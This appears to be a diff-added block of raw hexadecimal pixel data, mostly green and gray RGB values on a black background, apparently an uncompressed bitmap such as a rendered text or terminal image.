+8AE23427400F00000000000000000000000000000000000000000027400F8AE23477C32D000000 +0000000000000000000000004A791C8AE23467A9278AE2344E801D000000000000070C0385D932 +8AE234385C150000000000000B120444701A090E0300000000000079C72E8AE23427400F000000 +000000000000000000000000000000000000578F2179C72E599121000000000000000000000000 +0000000D15058AE2348AE23419290900000000000000000003040180D2308AE2343A6016000000 +385B158AE23482D631050802060A0285D9328AE234315012000000578F218AE2348AE234040702 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000003040180D2308AE2343A6016000000385B158AE23482D631 +0508020000000000000D15058AE2348AE2341929090000000000000000000D150589E0348AE234 +1B2C0A00000053881F8AE23482D531000000000000000000000000000000000000000000000000 +000000000000385C158AE234325213304E128AE23436591429430F8AE2343F6718233A0D8AE234 +89E134020401000000263E0E8AE2348AE2340F190600000000000000000027400F8AE23477C32D +00000000000000000000000066A7268AE23436591400000027400F8AE23475BF2C000000000000 +000000000000578F2179C72E5991210000000000000000000000007ECE2F8AE2346BAF28050802 +2F4D128AE23489E134101B060000000000001827098AE2348AE2348AE2342B4610000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000407028AE2348AE2341320070000003455148AE23478C42D020301000000 +6AAE288AE234385C150407020407020407020407020000001523088AE23482D631010200000000 +01010081D3318AE2341828090000008AE2348AE23422370D21360C73BD2B8AE2346CB129000000 +3455148AE234436E190000000000000000003F67188AE234385C150000006AAE288AE234385C15 +040702040702040702040702000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000090E038AE2348AE234121D07000000000000000000000000 +00000000000027400F8AE23477C32D000000000000000000385C158AE234325213304E128AE234 +36591429430F8AE2343F6718070C0385D9328AE234385C150000000000000B120444701A090E03 +00000000000079C72E8AE23427400F000000000000000000000000000000000000000000578F21 +79C72E599121000000000000000000000000000000090E038AE2348AE234121D07000000000000 +000000000000090F037ECE2F8AE2343D63178AE23481D3310C1405000000000000000000090E03 +8AE2348AE234121D07000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000707070707070707070707070707070707070707070707070707070707070707070707070 +70707070707000000000000051841E8AE23489E0347BCA2E88DE338AE2348AE234040702000000 +44701A8AE2348AE2347ECF307BCA2E8AE2348AE2340B1204000000070C0377C32D8AE2348AE234 +81D4318AE2346AAE2800000000000064A3268AE2343A6016000000375A158AE23479C62D040702 +0000003C61168AE2348AE23481D4318AE2348AE234406918000000000000609D248AE2347FD030 +67A82786DB328AE23482D53100000000000000000079C72E8AE23427400F000000000000000000 +00000000000065A5266AAE2873BC2B8AE23486DB326AAE286AAE28385C1500000000000022380D +8AE2348AE2348AE234263E0E00000000000000000044701A8AE2348AE2347ECF307BCA2E8AE234 +8AE2340B120400000000000079C72E8AE23427400F000000000000000000000000000000000000 +00000064A3268AE23466A72600000000000000000000000000000000000075BF2C8AE23482D531 +6BAF286AAE280203010000003C61168AE2348AE23481D4318AE2348AE234406918000000000000 +51841E8AE23489E0347BCA2E88DE338AE2348AE234040702000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000003C61168AE2348AE23481D4318AE2348AE23440691800000000000000000000000075BF2C +8AE23482D5316BAF286AAE28020301000000609D248AE2347FD03067A82786DB328AE23482D531 +000000000000000000000000000000000000000000000000000000000000385C158AE234325213 +304E128AE23436591429430F8AE2343F6718090E0380D2308AE234568C203C61167BCA2E8AE234 +8AE2340F190600000065A5266AAE2873BC2B8AE23486DB326AAE286AAE28385C1500000066A726 +8AE23436591400000027400F8AE23475BF2C00000000000000000000000064A3268AE23466A726 +0000000000000000000000007ECE2F8AE23480D23087DE338AE2348AE23463A225000000000000 +0000000000006FB72A8AE23481D331030501000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000407028AE234 +8AE23413200700000004070280D2308AE2342F4D120000006AAE288AE2348AE2348AE2348AE234 +8AE2348AE234060B02375A158AE23465A62600000000000000000062A1258AE2343A6016000000 +8AE2348AE2348AE2348AE2348AE23486DB321F330C0000003455148AE234436E19000000000000 +0000003F67188AE234385C150000006AAE288AE2348AE2348AE2348AE2348AE2348AE234060B02 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000007AC72E8AE2347ECF306AAE285B952200000000000065A5266AAE2873BC2B8AE23486DB32 +6AAE286AAE28385C15385C158AE234325213304E128AE23436591429430F8AE2343F6718000000 +44701A8AE2348AE2347ECF307BCA2E8AE2348AE2340B120400000000000079C72E8AE23427400F +00000000000000000000000000000000000000000064A3268AE23466A726000000000000000000 +0000000000000000007AC72E8AE2347ECF306AAE285B9522000000000000578E218AE234619F25 +0000005D98238AE2345C97230000000000000000000000007AC72E8AE2347ECF306AAE285B9522 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000707070707070707070707070 +707070707070707070707070707070707070707070707070707070707070000000000000060B02 +5A932285DA327AC82E3D64178AE23489E134010200000000000000375A1571B92B86DC3383D631 +72BB2B4A791C0406010000000000000E170558902180D13085DA3271B92B345514000000000000 +64A3268AE2343A601600000002040175BF2C8AE234446F19000000000000395D1577C22D87DE33 +77C32D3C61160000000000000000000E170565A62686DC3372BB2B375A158AE23482D531000000 +00000000000079C72E8AE23427400F00000000000000000000000000000084D8328AE2348AE234 +8AE2348AE2348AE2348AE2344A791C00000000000002040182D5318AE23485D932040601000000 +000000000000000000375A1571B92B86DC3383D63172BB2B4A791C04060100000000000079C72E +8AE23427400F00000000000000000000000000000000000000000064A3268AE23466A726000000 +0000000000000000000000000000001929096BAF2885DA328AE2348AE234020401000000000000 +395D1577C22D87DE3377C32D3C6116000000000000000000060B025A932285DA327AC82E3D6417 +8AE23489E134010200000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000395D1577C22D87DE33 +77C32D3C61160000000000000000000000000000001929096BAF2885DA328AE2348AE234020401 +0000000E170565A62686DC3372BB2B375A158AE23482D531000000000000000000000000000000 +000000000000000000000000000000385C158AE234325213304E128AE23436591429430F8AE234 +3F671800000021360C6DB32985DA327AC72E3658148AE2348AE2340F190600000084D8328AE234 +8AE2348AE2348AE2348AE2348AE2344A791C00000066A7268AE23436591400000027400F8AE234 +75BF2C00000000000000000000000064A3268AE23466A7260000000000000000000000007ECE2F +8AE2343151136DB22986DC3366A7260F19060000000000000000000000004B7A1C8AE23453881F +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000407028AE2348AE2341320070000000000004C7D1D +8AE2346EB52A0000006AAE288AE2348AE2348AE2348AE2348AE2348AE234060B025992228AE234 +47741B000000000000000000446F198AE2345D98230000008AE2348AE23488DE337CCC2F5B9622 +1A2B0A0000000000003455148AE234436E190000000000000000003F67188AE234385C15000000 +6AAE288AE2348AE2348AE2348AE2348AE2348AE234060B02000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000243B0E70B72A86DC338AE234 +77C32D00000000000084D8328AE2348AE2348AE2348AE2348AE2348AE2344A791C385C158AE234 +325213304E128AE23436591429430F8AE2343F6718000000000000375A1571B92B86DC3383D631 +72BB2B4A791C04060100000000000079C72E8AE23427400F000000000000000000000000000000 +00000000000064A3268AE23466A726000000000000000000000000000000000000243B0E70B72A +86DC338AE23477C32D000000253D0E8AE23489E03418280900000015230888DF338AE2342A4410 +000000000000000000243B0E70B72A86DC338AE23477C32D000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000707070707070707070707070707070707070707070707070707070 +707070707070707070707070707070000000000000111B060B12040000000000003B61168AE234 +79C72E000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000111B060B12040000000000003B61168AE23479C72E000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000007ECE2F8AE23420350C000000000000000000 +00000000000000000000000004060177C32D8AE23422370D000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000707070 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +0000000000003A601689E0347CCC2F7BCA2E8AE2348AE23446731B000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000003A601689E034 +7CCC2F7BCA2E8AE2348AE23446731B000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000162308 +162308162308162308162308162308162308162308162308010100000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000007ECE2F8AE23420350C000000000000000000000000000000060B0268AA277AC72E +8AE23470B72A000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000707070707070707070707070707070707070 +707070707070707070707070707070707070707070707070000000000000243A0D6DB32982D531 +88DE3379C62D47741B030401000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000243A0D6DB32982D53188DE3379C62D47741B030401 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000008AE2348AE2348AE2348AE2348AE2348AE234 +8AE2348AE2348AE234040702000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000007ECE2F8AE23420350C +000000000000000000000000000000090E038AE23489E1346FB62A162308000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000707070707070707070707070707070707070707070707070707070707070707070 +707070707070707070000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000002D4A112D4A112D4A112D4A112D4A112D4A112D4A112D4A112D4A11010200000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000707070707070707070 +707070707070707070707070707070707070707070707070707070707070707070000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000707070707070707070707070707070707070707070707070 +707070707070707070707070707070707070000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000027400F8AE23477C32D000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000202D3A729FCF +6289B3000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 